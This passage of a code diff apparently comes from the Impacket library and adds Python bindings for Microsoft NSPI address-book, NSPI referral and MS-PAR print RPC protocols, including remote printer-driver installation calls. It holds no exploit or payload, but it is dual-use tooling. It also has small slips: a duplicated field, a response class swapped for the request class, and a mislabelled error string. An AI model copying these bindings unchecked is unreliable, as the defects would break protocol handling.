+    request['pStat']['SortType'] = SortTypeDisplayName
+
+    # MS-OXNSPI 3.1.4.1.9.10
+    # If the SortType field in the input parameter pStat is SortTypeDisplayName and the property
+    # specified in the input parameter pTarget is anything other than PidTagDisplayName (with either
+    # the Property Type PtypString8 or PtypString), the server MUST return the value
+    # GeneralFailure.
+    request['pTarget']['ulPropTag'] = 0x3001001F
+    request['pTarget']['Value']['tag'] = 0x0000001F
+    request['pTarget']['Value']['lpszW'] = checkNullString(displayName)
+
+    if len(lpETable) > 0:
+        for mID in lpETable:
+            elem = DWORD()
+            elem['Data'] = mID
+            request['lpETable'].append(elem)
+    else:
+        request['lpETable'] = lpETableRaw
+
+    if len(pPropTags) > 0:
+        for aulPropTag in pPropTags:
+            prop = DWORD()
+            prop['Data'] = aulPropTag
+            request['pPropTags']['aulPropTag'].append(prop)
+        request.fields['pPropTags'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1
+    else:
+        request['pPropTags'] = pPropTagsRaw
+
+    resp = dce.request(request)
+    return resp
+
+def hNspiDNToMId(dce, handler, pNames=[]):
+    request = NspiDNToMId()
+    request['hRpc'] = handler
+    request['pNames']['Count'] = len(pNames)
+
+    for name in pNames:
+        lpstr = LPSTR()
+        lpstr['Data'] = checkNullString(name)
+        request['pNames']['Strings'].append(lpstr)
+
+    resp = dce.request(request)
+    return resp
+
+def hNspiGetPropList(dce, handler, dwMId=0, dwFlags=fSkipObjects, CodePage=CP_TELETEX):
+    request = NspiGetPropList()
+    request['hRpc'] = handler
+    request['dwMId'] = dwMId
+    request['dwFlags'] = dwFlags
+    request['CodePage'] = CodePage
+    resp = dce.request(request)
+
+    return resp
+
+def hNspiGetProps(dce, handler, ContainerID=0, CurrentRec=0, dwFlags=fSkipObjects, CodePage=CP_TELETEX, pPropTags=[]):
+    request = NspiGetProps()
+    request['hRpc'] = handler
+    request['dwFlags'] = dwFlags
+
+    request['pStat']['CurrentRec'] = CurrentRec
+    request['pStat']['ContainerID'] = ContainerID
+    request['pStat']['CodePage'] = CodePage
+
+    for aulPropTag in pPropTags:
+        prop = DWORD()
+        prop['Data'] = aulPropTag
+        request['pPropTags']['aulPropTag'].append(prop)
+    request['pPropTags']['cValues'] = len(pPropTags) + 1
+    request.fields['pPropTags'].fields['Data'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1
+
+    resp = dce.request(request)
+    return resp
+
+def hNspiGetSpecialTable(dce, handler, dwFlags=NspiUnicodeStrings, pStat=STAT(), lpVersion=NULL):
+    request = NspiGetSpecialTable()
+    request['hRpc'] = handler
+    request['dwFlags'] = dwFlags
+    request['pStat'] = pStat
+    request['lpVersion'] = lpVersion
+
+    resp = dce.request(request)
+    return resp
+
+# Lookups specified LegacyDN or CN={ulType},CN={dwLocaleID},CN=Display-Templates,CN=Addressing in Configuration Naming Context
+def hNspiGetTemplateInfo(dce, handler, pDN=NULL, dwLocaleID=0, ulType=0, dwCodePage=0, dwFlags=0xFFFFFFFF):
+    request = NspiGetTemplateInfo()
+    request['hRpc'] = handler
+    request['dwFlags'] = dwFlags
+    request['ulType'] = ulType
+    request['pDN'] = checkNullString(pDN)
+    request['dwCodePage'] = dwCodePage
+    request['dwLocaleID'] = dwLocaleID
+
+    resp = dce.request(request)
+    return resp
+
+def hNspiModLinkAtt(dce, handler, dwFlags, ulPropTag, dwMId, lpEntryIds):
+    request = NspiModLinkAtt()
+    request['hRpc'] = handler
+    request['dwFlags'] = dwFlags
+    request['ulPropTag'] = ulPropTag
+    request['dwMId'] = dwMId
+
+    for lpEntryId in lpEntryIds:
+        prop = Binary_r()
+        prop['lpb'] = lpEntryId.getData()
+        prop['cValues'] = len(prop['lpb'])
+        request['lpEntryIds']['lpbin'].append(prop)
+    request['lpEntryIds']['cValues'] = len(lpEntryIds)
+
+    resp = dce.request(request)
+    return resp
+
+def hNspiQueryColumns(dce, handler, dwFlags=NspiUnicodeProptypes):
+    request = NspiQueryColumns()
+    request['hRpc'] = handler
+    request['dwFlags'] = dwFlags
+
+    resp = dce.request(request)
+    return resp
+
+def hNspiGetNamesFromIDs(dce, handler, lpguid=EMPTY_UUID, pPropTags=[], pPropTagsRaw=NULL):
+    request = NspiGetNamesFromIDs()
+    request['hRpc'] = handler
+    request['lpguid'] = lpguid
+
+    if len(pPropTags) > 0:
+        for aulPropTag in pPropTags:
+            prop = DWORD()
+            prop['Data'] = aulPropTag
+            request['pPropTags']['aulPropTag'].append(prop)
+        request['pPropTags']['cValues'] = len(pPropTags)
+        request.fields['pPropTags'].fields['Data'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1
+    elif pPropTagsRaw == NULL:
+        request.fields['pPropTags'] = NULL
+    else:
+        request['pPropTags'] = pPropTagsRaw
+
+    resp = dce.request(request)
+    return resp
+
+def hNspiResolveNames(dce, handler, ContainerID=0, pPropTags=[], pPropTagsRaw=NULL, paStr=[]):
+    request = NspiResolveNames()
+    request['hRpc'] = handler
+    request['pStat']['ContainerID'] = ContainerID
+
+    if len(pPropTags) > 0:
+        for aulPropTag in pPropTags:
+            prop = DWORD()
+            prop['Data'] = aulPropTag
+            request['pPropTags']['aulPropTag'].append(prop)
+        request['pPropTags']['cValues'] = len(pPropTags)
+        request.fields['pPropTags'].fields['Data'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1
+    elif pPropTagsRaw == NULL:
+        request.fields['pPropTags'] = NULL
+    else:
+        request['pPropTags'] = pPropTagsRaw
+
+    if len(paStr) > 0:
+        for paStrElem in paStr:
+            value = LPSTR()
+            value['Data'] = checkNullString(paStrElem)
+            request['paStr']['Strings'].append(value)
+        request['paStr']['Count'] = len(paStr)
+
+    resp = dce.request(request)
+    return resp
+
+def hNspiResolveNamesW(dce, handler, ContainerID=0, pPropTags=[], pPropTagsRaw=NULL, paStr=[]):
+    request = NspiResolveNamesW()
+    request['hRpc'] = handler
+    request['pStat']['ContainerID'] = ContainerID
+
+    if len(pPropTags) > 0:
+        for aulPropTag in pPropTags:
+            prop = DWORD()
+            prop['Data'] = aulPropTag
+            request['pPropTags']['aulPropTag'].append(prop)
+        request['pPropTags']['cValues'] = len(pPropTags)
+        request.fields['pPropTags'].fields['Data'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1
+    elif pPropTagsRaw == NULL:
+        request.fields['pPropTags'] = NULL
+    else:
+        request['pPropTags'] = pPropTagsRaw
+
+    if len(paStr) > 0:
+        for paStrElem in paStr:
+            value = LPWSTR()
+            value['Data'] = checkNullString(paStrElem)
+            request['paStr']['Strings'].append(value)
+        request['paStr']['Count'] = len(paStr)
+
+    resp = dce.request(request)
+    return resp
diff --git a/impacket/dcerpc/v5/oxabref.py b/impacket/dcerpc/v5/oxabref.py
new file mode 100644
index 0000000..90b73d0
--- /dev/null
+++ b/impacket/dcerpc/v5/oxabref.py
@@ -0,0 +1,133 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol
+#
+# Author:
+#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+#
+
+from impacket import hresult_errors, mapi_constants
+from impacket.dcerpc.v5.dtypes import NULL, STR, ULONG
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.uuid import uuidtup_to_bin
+
+MSRPC_UUID_OXABREF = uuidtup_to_bin(('1544F5E0-613C-11D1-93DF-00C04FD7BD09','1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in mapi_constants.ERROR_MESSAGES:
+            error_msg_short = mapi_constants.ERROR_MESSAGES[key]
+            return 'OXABREF SessionError: code: 0x%x - %s' % (self.error_code, error_msg_short)
+        elif key in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
+            return 'OXABREF SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'OXABREF SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# STRUCTURES
+################################################################################
+class PUCHAR_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', STR),
+    )
+
+class PPUCHAR_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', PUCHAR_ARRAY),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+# 3.1.4.1 RfrGetNewDSA (opnum 0)
+class RfrGetNewDSA(NDRCALL):
+    opnum = 0
+    structure = (
+       ('ulFlags', ULONG),
+       ('pUserDN', STR),
+       ('ppszUnused', PPUCHAR_ARRAY),
+       ('ppszServer', PPUCHAR_ARRAY),
+    )
+
+class RfrGetNewDSAResponse(NDRCALL):
+    structure = (
+       ('ppszUnused', PPUCHAR_ARRAY),
+       ('ppszServer', PPUCHAR_ARRAY),
+    )
+
+# 3.1.4.2 RfrGetFQDNFromServerDN (opnum 1)
+class RfrGetFQDNFromServerDN(NDRCALL):
+    opnum = 1
+    structure = (
+       ('ulFlags', ULONG),
+       ('cbMailboxServerDN', ULONG),
+       ('szMailboxServerDN', STR),
+    )
+
+class RfrGetFQDNFromServerDNResponse(NDRCALL):
+    structure = (
+       ('ppszServerFQDN', PUCHAR_ARRAY),
+       ('ErrorCode', ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+    0   : (RfrGetNewDSA, RfrGetNewDSAResponse),
+    1   : (RfrGetFQDNFromServerDN, RfrGetFQDNFromServerDNResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+def hRfrGetNewDSA(dce, pUserDN=''):
+    request = RfrGetNewDSA()
+    request['ulFlags'] = 0
+    request['pUserDN'] = checkNullString(pUserDN)
+    request['ppszUnused'] = NULL
+    request['ppszServer'] = '\x00'
+
+    resp = dce.request(request)
+    resp['ppszServer'] = resp['ppszServer'][:-1]
+
+    if request['ppszUnused'] != NULL:
+        resp['ppszUnused'] = resp['ppszUnused'][:-1]
+
+    return resp
+
+def hRfrGetFQDNFromServerDN(dce, szMailboxServerDN):
+    szMailboxServerDN = checkNullString(szMailboxServerDN)
+    request = RfrGetFQDNFromServerDN()
+    request['ulFlags'] = 0
+    request['szMailboxServerDN'] = szMailboxServerDN
+    request['cbMailboxServerDN'] = len(szMailboxServerDN)
+
+    resp = dce.request(request)
+    resp['ppszServerFQDN'] = resp['ppszServerFQDN'][:-1]
+
+    return resp
diff --git a/impacket/dcerpc/v5/par.py b/impacket/dcerpc/v5/par.py
new file mode 100644
index 0000000..9894c7f
--- /dev/null
+++ b/impacket/dcerpc/v5/par.py
@@ -0,0 +1,646 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-PAR] Interface implementation
+#   https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Adam (@cube0x0)
+#
+from impacket import system_errors
+from impacket.dcerpc.v5.dtypes import ULONGLONG, UINT, USHORT, LPWSTR, DWORD, ULONG, NULL
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.uuid import uuidtup_to_bin, string_to_bin
+
+MSRPC_UUID_PAR = uuidtup_to_bin(('76F03F96-CDFD-44FC-A22C-64950A001209', '1.0'))
+MSRPC_UUID_WINSPOOL = string_to_bin('9940CA8E-512F-4C58-88A9-61098D6896BD')
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 
+            return 'RPRN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'RPRN SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 2.2.1.1.7 STRING_HANDLE
+STRING_HANDLE = LPWSTR
+class PSTRING_HANDLE(NDRPOINTER):
+    referent = (
+        ('Data', STRING_HANDLE),
+    )
+
+# 2.2.3.1 Access Values
+JOB_ACCESS_ADMINISTER         = 0x00000010
+JOB_ACCESS_READ               = 0x00000020
+JOB_EXECUTE                   = 0x00020010
+JOB_READ                      = 0x00020020
+JOB_WRITE                     = 0x00020010
+JOB_ALL_ACCESS                = 0x000F0030
+PRINTER_ACCESS_ADMINISTER     = 0x00000004
+PRINTER_ACCESS_USE            = 0x00000008
+PRINTER_ACCESS_MANAGE_LIMITED = 0x00000040
+PRINTER_ALL_ACCESS            = 0x000F000C
+PRINTER_EXECUTE               = 0x00020008
+PRINTER_READ                  = 0x00020008
+PRINTER_WRITE                 = 0x00020008
+SERVER_ACCESS_ADMINISTER      = 0x00000001
+SERVER_ACCESS_ENUMERATE       = 0x00000002
+SERVER_ALL_ACCESS             = 0x000F0003
+SERVER_EXECUTE                = 0x00020002
+SERVER_READ                   = 0x00020002
+SERVER_WRITE                  = 0x00020003
+SPECIFIC_RIGHTS_ALL           = 0x0000FFFF
+STANDARD_RIGHTS_ALL           = 0x001F0000
+STANDARD_RIGHTS_EXECUTE       = 0x00020000
+STANDARD_RIGHTS_READ          = 0x00020000
+STANDARD_RIGHTS_REQUIRED      = 0x000F0000
+STANDARD_RIGHTS_WRITE         = 0x00020000
+SYNCHRONIZE                   = 0x00100000
+DELETE                        = 0x00010000
+READ_CONTROL                  = 0x00020000
+WRITE_DAC                     = 0x00040000
+WRITE_OWNER                   = 0x00080000
+GENERIC_READ                  = 0x80000000
+GENERIC_WRITE                 = 0x40000000
+GENERIC_EXECUTE               = 0x20000000
+GENERIC_ALL                   = 0x10000000
+
+# 2.2.3.6.1 Printer Change Flags for Use with a Printer Handle
+PRINTER_CHANGE_SET_PRINTER        = 0x00000002
+PRINTER_CHANGE_DELETE_PRINTER     = 0x00000004
+PRINTER_CHANGE_PRINTER            = 0x000000FF
+PRINTER_CHANGE_ADD_JOB            = 0x00000100
+PRINTER_CHANGE_SET_JOB            = 0x00000200
+PRINTER_CHANGE_DELETE_JOB         = 0x00000400
+PRINTER_CHANGE_WRITE_JOB          = 0x00000800
+PRINTER_CHANGE_JOB                = 0x0000FF00
+PRINTER_CHANGE_SET_PRINTER_DRIVER = 0x20000000
+PRINTER_CHANGE_TIMEOUT            = 0x80000000
+PRINTER_CHANGE_ALL                = 0x7777FFFF
+PRINTER_CHANGE_ALL_2              = 0x7F77FFFF
+
+# 2.2.3.6.2 Printer Change Flags for Use with a Server Handle
+PRINTER_CHANGE_ADD_PRINTER_DRIVER        = 0x10000000
+PRINTER_CHANGE_DELETE_PRINTER_DRIVER     = 0x40000000
+PRINTER_CHANGE_PRINTER_DRIVER            = 0x70000000
+PRINTER_CHANGE_ADD_FORM                  = 0x00010000
+PRINTER_CHANGE_DELETE_FORM               = 0x00040000
+PRINTER_CHANGE_SET_FORM                  = 0x00020000
+PRINTER_CHANGE_FORM                      = 0x00070000
+PRINTER_CHANGE_ADD_PORT                  = 0x00100000
+PRINTER_CHANGE_CONFIGURE_PORT            = 0x00200000
+PRINTER_CHANGE_DELETE_PORT               = 0x00400000
+PRINTER_CHANGE_PORT                      = 0x00700000
+PRINTER_CHANGE_ADD_PRINT_PROCESSOR       = 0x01000000
+PRINTER_CHANGE_DELETE_PRINT_PROCESSOR    = 0x04000000
+PRINTER_CHANGE_PRINT_PROCESSOR           = 0x07000000
+PRINTER_CHANGE_ADD_PRINTER               = 0x00000001
+PRINTER_CHANGE_FAILED_CONNECTION_PRINTER = 0x00000008
+PRINTER_CHANGE_SERVER                    = 0x08000000
+
+# 2.2.3.7 Printer Enumeration Flags
+PRINTER_ENUM_LOCAL       = 0x00000002
+PRINTER_ENUM_CONNECTIONS = 0x00000004
+PRINTER_ENUM_NAME        = 0x00000008
+PRINTER_ENUM_REMOTE      = 0x00000010
+PRINTER_ENUM_SHARED      = 0x00000020
+PRINTER_ENUM_NETWORK     = 0x00000040
+PRINTER_ENUM_EXPAND      = 0x00004000
+PRINTER_ENUM_CONTAINER   = 0x00008000
+PRINTER_ENUM_ICON1       = 0x00010000
+PRINTER_ENUM_ICON2       = 0x00020000
+PRINTER_ENUM_ICON3       = 0x00040000
+PRINTER_ENUM_ICON8       = 0x00800000
+PRINTER_ENUM_HIDE        = 0x01000000
+
+
+# 2.2.3.8 Printer Notification Values
+PRINTER_NOTIFY_CATEGORY_2D  = 0x00000000
+PRINTER_NOTIFY_CATEGORY_ALL = 0x00010000
+PRINTER_NOTIFY_CATEGORY_3D  = 0x00020000
+
+
+# 3.1.4.4.8 RpcAddPrinterDriverEx Values
+APD_STRICT_UPGRADE              = 0x00000001
+APD_STRICT_DOWNGRADE            = 0x00000002
+APD_COPY_ALL_FILES              = 0x00000004
+APD_COPY_NEW_FILES              = 0x00000008
+APD_COPY_FROM_DIRECTORY         = 0x00000010
+APD_DONT_COPY_FILES_TO_CLUSTER  = 0x00001000
+APD_COPY_TO_ALL_SPOOLERS        = 0x00002000
+APD_INSTALL_WARNED_DRIVER       = 0x00008000
+APD_RETURN_BLOCKING_STATUS_CODE = 0x00010000
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.2.1.1.4 PRINTER_HANDLE
+class PRINTER_HANDLE(NDRSTRUCT):
+    structure =  (
+        ('Data','20s=b""'),
+    )
+    def getAlignment(self):
+        if self._isNDR64 is True:
+            return 8
+        else:
+            return 4
+
+# 2.2.1.2.1 DEVMODE_CONTAINER
+class BYTE_ARRAY(NDRUniConformantArray):
+    item = 'c'
+
+class PBYTE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', BYTE_ARRAY),
+    )
+
+class DEVMODE_CONTAINER(NDRSTRUCT):
+    structure =  (
+        ('cbBuf',DWORD),
+        ('pDevMode',PBYTE_ARRAY),
+    )
+
+# 2.2.1.11.1 SPLCLIENT_INFO_1
+class SPLCLIENT_INFO_1(NDRSTRUCT):
+    structure =  (
+        ('dwSize',DWORD),
+        ('pMachineName',LPWSTR),
+        ('pUserName',LPWSTR),
+        ('dwBuildNum',DWORD),
+        ('dwMajorVersion',DWORD),
+        ('dwMinorVersion',DWORD),
+        ('wProcessorArchitecture',USHORT),
+    )
+
+class PSPLCLIENT_INFO_1(NDRPOINTER):
+    referent = (
+        ('Data', SPLCLIENT_INFO_1),
+    )
+
+# 2.2.1.11.2 SPLCLIENT_INFO_2
+class SPLCLIENT_INFO_2(NDRSTRUCT):
+    structure =  (
+        ('notUsed',ULONGLONG),
+    )
+
+class PSPLCLIENT_INFO_2(NDRPOINTER):
+    referent = (
+        ('Data', SPLCLIENT_INFO_2),
+    )
+# 2.2.1.11.3 SPLCLIENT_INFO_3
+class SPLCLIENT_INFO_3(NDRSTRUCT):
+    structure =  (
+        ('cbSize',UINT),
+        ('dwFlags',DWORD),
+        ('dwFlags',DWORD),
+        ('pMachineName',LPWSTR),
+        ('pUserName',LPWSTR),
+        ('dwBuildNum',DWORD),
+        ('dwMajorVersion',DWORD),
+        ('dwMinorVersion',DWORD),
+        ('wProcessorArchitecture',USHORT),
+        ('hSplPrinter',ULONGLONG),
+    )
+
+class PSPLCLIENT_INFO_3(NDRPOINTER):
+    referent = (
+        ('Data', SPLCLIENT_INFO_3),
+    )
+
+# 2.2.1.5.1 DRIVER_INFO_1
+class DRIVER_INFO_1(NDRSTRUCT):
+    structure = (
+        ('pName', STRING_HANDLE ),
+    )
+class PDRIVER_INFO_1(NDRPOINTER):
+    referent = (
+        ('Data', DRIVER_INFO_1),
+    )
+
+# 2.2.1.5.2 DRIVER_INFO_2
+class DRIVER_INFO_2(NDRSTRUCT):
+    structure = (
+        ('cVersion',DWORD),
+        ('pName', LPWSTR),
+        ('pEnvironment', LPWSTR),
+        ('pDriverPath', LPWSTR),
+        ('pDataFile', LPWSTR),
+        ('pConfigFile', LPWSTR),
+    )
+class PDRIVER_INFO_2(NDRPOINTER):
+    referent = (
+        ('Data', DRIVER_INFO_2),
+    )
+
+# 2.2.1.2.3 DRIVER_CONTAINER
+class DRIVER_INFO_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+    union = {
+        1 : ('pNotUsed', PDRIVER_INFO_1),
+        2 : ('Level2', PDRIVER_INFO_2),
+    }
+
+class DRIVER_CONTAINER(NDRSTRUCT):
+    structure =  (
+        ('Level', DWORD),
+        ('DriverInfo', DRIVER_INFO_UNION),
+    )
+
+# 2.2.1.2.14 SPLCLIENT_CONTAINER
+class CLIENT_INFO_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+    union = {
+        1 : ('pClientInfo1', PSPLCLIENT_INFO_1),
+        2 : ('pNotUsed1', PSPLCLIENT_INFO_2),
+        3 : ('pNotUsed2', PSPLCLIENT_INFO_3),
+    }
+
+class SPLCLIENT_CONTAINER(NDRSTRUCT):
+    structure =  (
+        ('Level',DWORD),
+        ('ClientInfo',CLIENT_INFO_UNION),
+    )
+
+# 2.2.1.13.2 RPC_V2_NOTIFY_OPTIONS_TYPE
+class USHORT_ARRAY(NDRUniConformantArray):
+    item = '<H'
+
+class PUSHORT_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', USHORT_ARRAY),
+    )
+
+class RpcAsync_V2_NOTIFY_OPTIONS_TYPE(NDRSTRUCT):
+    structure =  (
+        ('Type',USHORT),
+        ('Reserved0',USHORT),
+        ('Reserved1',DWORD),
+        ('Reserved2',DWORD),
+        ('Count',DWORD),
+        ('pFields',PUSHORT_ARRAY),
+    )
+
+class PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', RpcAsync_V2_NOTIFY_OPTIONS_TYPE),
+    )
+
+# 2.2.1.13.1 RPC_V2_NOTIFY_OPTIONS
+class RpcAsync_V2_NOTIFY_OPTIONS(NDRSTRUCT):
+    structure =  (
+        ('Version',DWORD),
+        ('Reserved',DWORD),
+        ('Count',DWORD),
+        ('pTypes',PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY),
+    )
+
+class PRPC_V2_NOTIFY_OPTIONS(NDRPOINTER):
+    referent = (
+        ('Data', RpcAsync_V2_NOTIFY_OPTIONS),
+    )
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.4.1.21 RpcAsyncEnumPrinters (Opnum 38)
+class RpcAsyncEnumPrinters(NDRCALL):
+    opnum = 38
+    structure = (
+       ('Flags', DWORD),
+       ('Name', STRING_HANDLE),
+       ('Level', DWORD),
+       ('pPrinterEnum', PBYTE_ARRAY),
+       ('cbBuf', DWORD),
+    )
+
+class RpcAsyncEnumPrintersResponse(NDRCALL):
+    structure = (
+       ('pPrinterEnum', PBYTE_ARRAY),
+       ('pcbNeeded', DWORD),
+       ('pcReturned', DWORD),
+       ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.1.1 RpcAsyncOpenPrinter (Opnum 0)
+class RpcAsyncOpenPrinter(NDRCALL):
+    opnum = 0
+    structure = (
+       ('pPrinterName', STRING_HANDLE),
+       ('pDatatype', LPWSTR),
+       ('pDevModeContainer', DEVMODE_CONTAINER),
+       ('AccessRequired', DWORD),
+       ('pClientInfo', SPLCLIENT_CONTAINER),
+    )
+
+class RpcAsyncOpenPrinterResponse(NDRCALL):
+    structure = (
+       ('pHandle', PRINTER_HANDLE),
+       ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.1.10 RpcAsyncClosePrinter (Opnum 20)
+class RpcAsyncClosePrinter(NDRCALL):
+    opnum = 20
+    structure = (
+       ('phPrinter', PRINTER_HANDLE),
+    )
+
+class RpcAsyncClosePrinterResponse(NDRCALL):
+    structure = (
+       ('phPrinter', PRINTER_HANDLE),
+       ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.2.3 RpcAsyncEnumPrinterDrivers (Opnum 40)
+class RpcAsyncEnumPrinterDrivers(NDRCALL):
+    opnum = 40
+    structure = (
+       ('pName', STRING_HANDLE),
+       ('pEnvironment', LPWSTR),
+       ('Level', DWORD),
+       ('pDrivers', PBYTE_ARRAY),
+       ('cbBuf', DWORD),
+    )
+
+class RpcAsyncEnumPrinterDriversResponse(NDRCALL):
+    structure = (
+       ('pDrivers', PBYTE_ARRAY),
+       ('pcbNeeded', DWORD),
+       ('pcReturned', DWORD),
+       ('ErrorCode', ULONG),
+    )
+
+# 3.1.4.2.4 RpcAsyncGetPrinterDriverDirectory (Opnum 41)
+class RpcAsyncGetPrinterDriverDirectory(NDRCALL):
+   opnum = 41
+   structure = (
+       ('pName', STRING_HANDLE),
+       ('pEnvironment', LPWSTR),
+       ('Level', DWORD),
+       ('pDriverDirectory', PBYTE_ARRAY),
+       ('cbBuf', DWORD)
+   )
+   
+class RpcAsyncGetPrinterDriverDirectoryResponse(NDRCALL):
+    structure = (
+       ('pDriverDirectory', PBYTE_ARRAY),
+       ('pcbNeeded', DWORD),
+       ('ErrorCode', ULONG)
+    )
+
+# 3.1.4.2.2 RpcAsyncAddPrinterDriver (Opnum 39)
+class RpcAsyncAddPrinterDriver(NDRCALL):
+    opnum = 39
+    structure = (
+       ('pName', STRING_HANDLE),
+       ('pDriverContainer', DRIVER_CONTAINER),
+       ('dwFileCopyFlags', DWORD),
+    )
+
+class RpcAsyncAddPrinterDriverResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+    0  : (RpcAsyncOpenPrinter, RpcAsyncOpenPrinterResponse),
+    #1  : (RpcAsyncAddPrinter, RpcAsyncAddPrinterResponse),
+    20 : (RpcAsyncClosePrinter, RpcAsyncClosePrinterResponse),
+    38 : (RpcAsyncEnumPrinters, RpcAsyncEnumPrintersResponse),
+    39 : (RpcAsyncAddPrinterDriver, RpcAsyncAddPrinterDriver),
+    40 : (RpcAsyncEnumPrinterDrivers, RpcAsyncEnumPrinterDriversResponse),
+    41 : (RpcAsyncGetPrinterDriverDirectory, RpcAsyncGetPrinterDriverDirectoryResponse)
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+def hRpcAsyncClosePrinter(dce, phPrinter):
+    """
+    RpcClosePrinter closes a handle to a printer object, server object, job object, or port object.
+    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244768.aspx
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param PRINTER_HANDLE phPrinter: A handle to a printer object, server object, job object, or port object.
+
+    :return: a RpcClosePrinterResponse instance, raises DCERPCSessionError on error.
+    """
+    request = RpcAsyncClosePrinter()
+    request['phPrinter'] = phPrinter
+    return dce.request(request, MSRPC_UUID_WINSPOOL)
+
+
+def hRpcAsyncOpenPrinter(dce, printerName, pDatatype=NULL, pDevModeContainer=NULL, accessRequired=SERVER_READ,
+                      pClientInfo=NULL):
+    """
+    RpcOpenPrinterEx retrieves a handle for a printer, port, port monitor, print job, or print server
+    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244809.aspx
+
+    :param DCERPC_v5 dce: a connected DCE instance.
+    :param string printerName: A string for a printer connection, printer object, server object, job object, port
+    object, or port monitor object. This MUST be a Domain Name System (DNS), NetBIOS, Internet Protocol version 4
+    (IPv4), Internet Protocol version 6 (IPv6), or Universal Naming Convention (UNC) name that remote procedure
+    call (RpcAsync) binds to, and it MUST uniquely identify a print server on the network.
+    :param string pDatatype: A string that specifies the data type to be associated with the printer handle.
+    :param DEVMODE_CONTAINER pDevModeContainer: A DEVMODE_CONTAINER structure. This parameter MUST adhere to the specification in
+    DEVMODE_CONTAINER Parameters (section 3.1.4.1.8.1).
+    :param int accessRequired: The access level that the client requires for interacting with the object to which a
+    handle is being opened.
+    :param SPLCLIENT_CONTAINER pClientInfo: This parameter MUST adhere to the specification in SPLCLIENT_CONTAINER Parameters.
+
+    :return: a RpcOpenPrinterExResponse instance, raises DCERPCSessionError on error.
+    """
+    request = RpcAsyncOpenPrinter()
+    request['pPrinterName'] = checkNullString(printerName)
+    request['pDatatype'] = pDatatype
+    if pDevModeContainer is NULL:
+        request['pDevModeContainer']['pDevMode'] = NULL
+    else:
+        request['pDevModeContainer'] = pDevModeContainer
+
+    request['AccessRequired'] = accessRequired
+    if pClientInfo is NULL:
+        raise Exception('pClientInfo cannot be NULL')
+
+    request['pClientInfo'] = pClientInfo
